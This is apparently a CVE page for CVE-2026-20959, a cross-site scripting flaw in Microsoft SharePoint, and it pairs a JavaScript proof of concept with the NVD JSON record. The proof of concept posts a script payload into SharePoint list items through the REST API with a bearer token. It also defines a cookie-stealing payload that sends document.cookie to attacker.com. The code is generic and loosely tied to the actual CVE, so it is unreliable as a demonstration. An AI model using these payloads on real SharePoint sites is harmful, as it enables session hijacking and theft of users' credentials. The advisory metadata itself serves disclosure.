CVE-2026-20959

// CVE-2026-20959 PoC - SharePoint XSS Exploitation // Author: Security Researcher // Target: Microsoft SharePoint const payload = '<script>alert(document.cookie)</script>'; // Example: Injecting XSS payload into SharePoint list item async function exploitSharePointXSS(targetUrl, authToken) { const endpoint = `${targetUrl}/_api/web/lists/items`; const body = { '__metadata': { 'type': 'SP.ListItem' }, 'Title': payload, 'Body': payload }; const response = await fetch(endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json;odata=verbose', 'Authorization': `Bearer ${authToken}` }, body: JSON.stringify(body) }); return response.json(); } // Cookie stealing payload const stealCookiePayload = `<script> document.write('<img src="https://attacker.com/steal?cookie=' + document.cookie + '"/>'); </script>`; console.log('CVE-2026-20959 PoC generated');

{"cve": {"id": "CVE-2026-20959", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:23.937", "lastModified": "2026-01-14T19:19:39.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network."}, {"lang": "es", "value": "Neutralización incorrecta de la entrada durante la generación de páginas web ('cross-site scripting') en Microsoft Office SharePoint permite a un atacante autorizado realizar suplantación a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19127.20442", "matchCriteriaId": "FB9ECA81-C1E2-4B02-A45C-0E5664E3C9B9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20959", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}